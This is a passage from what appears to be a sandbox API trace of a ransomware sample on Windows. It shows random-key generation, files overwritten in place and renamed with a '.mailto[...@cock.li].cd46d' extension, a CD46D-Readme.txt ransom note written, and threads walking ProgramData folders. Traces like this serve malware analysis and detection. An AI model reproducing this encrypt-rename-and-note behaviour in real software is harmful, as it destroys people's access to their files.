Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x1c90a7ee [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0xca8eec8 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x2c798055 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x399073cc [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x500c1fb9 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x46d90ddf [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x1ea4789 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x537d4205 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x3b15cd4 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x6eadde35 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x5d86f821 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x61898c90 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x4306dc0 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x1ca06c51 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x3785e9b1 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x7dd43103 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x63bdb064 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x68152d5 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x63e84842 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x3664f34d [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x29c1a80 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x782c20d [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x7be2a278 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x7ca01db5 [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x27148d7c [0048.775] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x38b37970 [0048.786] ReadFile (in: hFile=0x578, lpBuffer=0x5e04048, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x7b8fad4, lpOverlapped=0x0 | out: lpBuffer=0x5e04048*, lpNumberOfBytesRead=0x7b8fad4*=0xc038, lpOverlapped=0x0) returned 1 [0048.787] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.787] WriteFile (in: hFile=0x578, lpBuffer=0x5e10850*, nNumberOfBytesToWrite=0xc038, lpNumberOfBytesWritten=0x7b8fad0, lpOverlapped=0x0 | out: lpBuffer=0x5e10850*, lpNumberOfBytesWritten=0x7b8fad0*=0xc038, lpOverlapped=0x0) returned 1 [0052.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0052.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fb80 [0052.185] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fb80) returned 1 [0052.185] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e10850) returned 1 [0052.185] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e04048) returned 1 [0052.185] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e463b8) returned 1 [0052.185] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0052.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x43fb80 [0052.185] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.185] WriteFile (in: hFile=0x578, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x7b8fb38, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0x7b8fb38*=0x101, lpOverlapped=0x0) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fba8) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fbd0) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fb80) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441438) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0053.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed930) returned 1 [0053.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02120 [0053.444] wcscpy (in: _Dest=0x5e02120, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0053.444] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.444] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7b8faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40ce78 [0053.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ce78) returned 1 [0053.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49cdd8) returned 1 [0053.610] NtQueryInformationFile (in: FileHandle=0x578, IoStatusBlock=0x7b8fafc, FileInformation=0x7b8fad4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7b8fafc, FileInformation=0x7b8fad4) returned 0x0 [0053.610] NtSetInformationFile (FileHandle=0x578, IoStatusBlock=0x7b8fafc, FileInformation=0x7b8fad4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0053.641] FlushFileBuffers (hFile=0x578) returned 1 [0053.643] CloseHandle (hObject=0x578) returned 1 [0053.649] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416a50 [0053.650] wcscpy (in: _Dest=0x416a50, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0053.650] wcscat (in: _Dest=0x416a50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt" [0053.650] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\cd46d-readme.txt")) returned 0xffffffff [0053.650] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8dc [0053.656] WriteFile (in: hFile=0x8dc, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x7b8faf8, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x7b8faf8*=0x6fd, lpOverlapped=0x0) returned 1 [0053.953] CloseHandle (hObject=0x8dc) returned 1 [0053.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416a50) returned 1 [0053.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4189b0) returned 1 Thread: id = 256 os_tid = 0x8ec [0046.856] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x4147d8 [0046.856] wcscpy (in: _Dest=0x4147d8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AIT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT" [0046.856] wcscat (in: _Dest=0x4147d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT\\" [0046.856] wcscat (in: _Dest=0x4147d8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*" [0046.856] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4854b0 [0046.857] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x4854b0 | out: lpFindFileData=0x4854b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a328 [0049.749] wcscmp (_String1=".", _String2=".") returned 0 [0049.749] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4854b0 | out: lpFindFileData=0x4854b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.749] wcscmp (_String1="..", _String2=".") returned 1 [0049.749] wcscmp (_String1="..", _String2="..") returned 0 [0049.749] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4854b0 | out: lpFindFileData=0x4854b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.749] FindClose (in: hFindFile=0x40a328 | out: hFindFile=0x40a328) returned 1 [0049.750] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4854b0) returned 1 [0049.750] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4147d8) returned 1 [0049.750] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414888) returned 1 Thread: id = 257 os_tid = 0x8f0 [0046.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418b90 [0046.857] wcscpy (in: _Dest=0x418b90, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0046.857] wcscat (in: _Dest=0x418b90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\" [0046.857] wcscat (in: _Dest=0x418b90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*" [0046.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485718 [0046.857] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0049.749] wcscmp (_String1=".", _String2=".") returned 0 [0049.749] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.749] wcscmp (_String1="..", _String2=".") returned 1 [0049.749] wcscmp (_String1="..", _String2="..") returned 0 [0049.749] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0049.749] wcscmp (_String1="en-US", _String2=".") returned 1 [0049.749] wcscmp (_String1="en-US", _String2="..") returned 1 [0049.749] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45ef38 [0049.749] wcscpy (in: _Dest=0x45ef38, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0049.749] wcscat (in: _Dest=0x45ef38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\" [0049.749] wcscat (in: _Dest=0x45ef38, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0055.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45ef38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8 [0055.558] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0055.558] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0055.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x485718) returned 1 [0055.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418b90) returned 1 [0055.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c80) returned 1 Thread: id = 258 os_tid = 0x8cc [0046.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414308 [0046.858] wcscpy (in: _Dest=0x414308, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0046.858] wcscat (in: _Dest=0x414308, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\" [0046.858] wcscat (in: _Dest=0x414308, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*" [0046.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485980 [0046.858] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x485980 | out: lpFindFileData=0x485980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1e8 [0049.754] wcscmp (_String1=".", _String2=".") returned 0 [0049.754] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x485980 | out: lpFindFileData=0x485980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.754] wcscmp (_String1="..", _String2=".") returned 1 [0049.754] wcscmp (_String1="..", _String2="..") returned 0 [0049.754] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x485980 | out: lpFindFileData=0x485980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0049.754] wcscmp (_String1="Cache", _String2=".") returned 1 [0049.754] wcscmp (_String1="Cache", _String2="..") returned 1 [0049.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a1f0 [0049.755] wcscpy (in: _Dest=0x44a1f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0049.755] wcscat (in: _Dest=0x44a1f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\" [0049.755] wcscat (in: _Dest=0x44a1f0, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" [0065.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0065.421] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x485980 | out: lpFindFileData=0x485980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0065.422] FindClose (in: hFindFile=0x40a1e8 | out: hFindFile=0x40a1e8) returned 1 [0065.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x485980) returned 1 [0065.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414308) returned 1 [0065.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4148e0) returned 1 Thread: id = 259 os_tid = 0x8c8 [0046.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x446258 [0046.859] wcscpy (in: _Dest=0x446258, _Source="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0046.859] wcscat (in: _Dest=0x446258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\" [0046.859] wcscat (in: _Dest=0x446258, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*" [0046.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485be8 [0046.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x485be8 | out: lpFindFileData=0x485be8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1a8 [0049.755] wcscmp (_String1=".", _String2=".") returned 0 [0049.755] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x485be8 | out: lpFindFileData=0x485be8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.755] wcscmp (_String1="..", _String2=".") returned 1 [0049.755] wcscmp (_String1="..", _String2="..") returned 0 [0049.755] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x485be8 | out: lpFindFileData=0x485be8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.755] FindClose (in: hFindFile=0x40a1a8 | out: hFindFile=0x40a1a8) returned 1 [0049.755] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x485be8) returned 1 [0049.755] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446258) returned 1 [0049.755] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445d78) returned 1 Thread: id = 260 os_tid = 0xa24 [0046.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447210 [0046.859] wcscpy (in: _Dest=0x447210, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0046.859] wcscat (in: _Dest=0x447210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0046.859] wcscat (in: _Dest=0x447210, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" [0046.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485e50 [0046.860] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4401a0 [0051.192] wcscmp (_String1=".", _String2=".") returned 0 [0051.192] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: lpFindFileData=0x485e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.192] wcscmp (_String1="..", _String2=".") returned 1 [0051.192] wcscmp (_String1="..", _String2="..") returned 0 [0051.192] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x485e50 | out: 